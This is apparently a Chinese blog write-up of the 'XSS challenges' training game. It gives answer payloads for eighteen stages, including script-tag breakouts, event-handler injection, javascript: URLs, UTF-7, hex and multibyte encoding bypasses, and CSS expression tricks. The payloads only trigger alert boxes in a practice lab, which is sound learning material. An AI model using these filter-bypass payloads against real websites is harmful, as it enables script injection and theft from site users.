Xss challenges writeup

原创

CN_CodeLab 于 2017-03-06 20:31:53 发布 924 收藏

分类专栏： Web安全

本文链接：https://blog.csdn.net/sinat_25449961/article/details/60592171

Stage #1

非常简单，不用多说

答案：`"</b><script>alert(document.domain);</script>`

Stage #2

属于输入框中的Xss,可以选择闭合标签

或者类似`<input type="text" onmouseover="alert(1)">`

答案：`aaa"><script>alert(document.domain);</script>`

或者：`" onclick=alert(document.domain) value="asd`

`" onmouseover=alert(document.domain) value="asd`

Stage #3

注入点不再输入中，而在choose country 中，burp抓包，再注入

答案：`p1=aaa&p2=aaa</b><script>alert(document.domain);</script>`

Stage #4

同上题一样，抓包

答案：`"><script>alert(document.domain)</script><"`

Stage #5

还是抓包，绕过长度限制

答案：`p1=">;<script>alert(document.domain);</script><"`

Stage #6

采用事件型Xss

答案：`" onclick=alert(document.domain) value="aaa`

或者：`" onmouseover=alert(document.domain) value="aaa`

Stage #7

采用事件型Xss

答案：`onclick=alert(document.domain) value="aaa`
或者：`" onmouseover=alert(document.domain) value="aaa`

Stage #8

插入了一个类似这样的东西
`<a href='javascript:doSomething()'>...</a>`

答案：`javascript:alert(document.domain)`
然后再点击那个url

Stage #9

提示为: UTF-7 Xss
UTF-8的注入为：`" onmousemove="alert(document.domain)`

答案：
转换为UTF-7：
`+ACIAIABvAG4AbQBvAHUAcwBlAG0AbwB2AGUAPQAiAGEAbABlAHIAdAAoAGQAbwBjAHUAbQBlAG4AdAAuAGQAbwBtAGEAaQBuACk-`
再使用burp抓包，charset参数值改为UTF-7

Stage #10

此题过滤了domain一次，可使用类似domdomainain来绕过

答案：`aaa" onmouseover="alert(document.domaidomainn);"`

Stage #11

字段进行了过滤，script==>xscript,on事件==>onxxxx,可以考虑字符替换

答案：`"><a href="javascr	ipt:alert(document.domain);">xss"><a`

Stage #12

过滤了单引号，双引号，大于号，小于号

答案：`` ` onmousemove=alert(document.domain) ``
这个貌似是ie下的特性，可以把value的值去掉

Stage #13

css 不重要
知道创宇答案`background-color:#f00;background:url("javascript:alert(document.domain);");`

Stage #14

css 不重要
知道创宇答案`cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})`

Stage #15

貌似输入什么，value中的内容就是什么.这里对><进行了编码，而且处在document.write()函数中，可以对><进行16进制编码

```
\\x3Cscript\\x3Ealert(document.domain)\\x3C/script\\x3E
```

Stage #16

同样是document.write,<>换成Unicode编码

```
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
```

Stage #17

提示：multi-byte character
euc-jp的编码范围：
byte 1為8E時, 為2 byte編碼, byte 2範圍為A1-DF
byte 1範圍為A1-FE時, 為2 byte編碼, byte 2範圍為A1-FE
byte 1為8F時為3 byte編碼, byte 2與byte 3範圍均為A1-FE
两个表单元素都提交%A7闭合最后的双引号，查看源码成功了，为什么UI上去没成功？无奈直接在地址栏：
javascript:alert(document.domain);
现在发现原来是浏览器版本问题，别用IE8了过这个。

```
p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7
```

Stage #18

提示：us-ascii high bit issue
41-5A, 61-7A (若含數字與符號，則為21-7E)
同样别用IE8，这些漏洞已经在IE8中修补了。

```
p1=%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE
```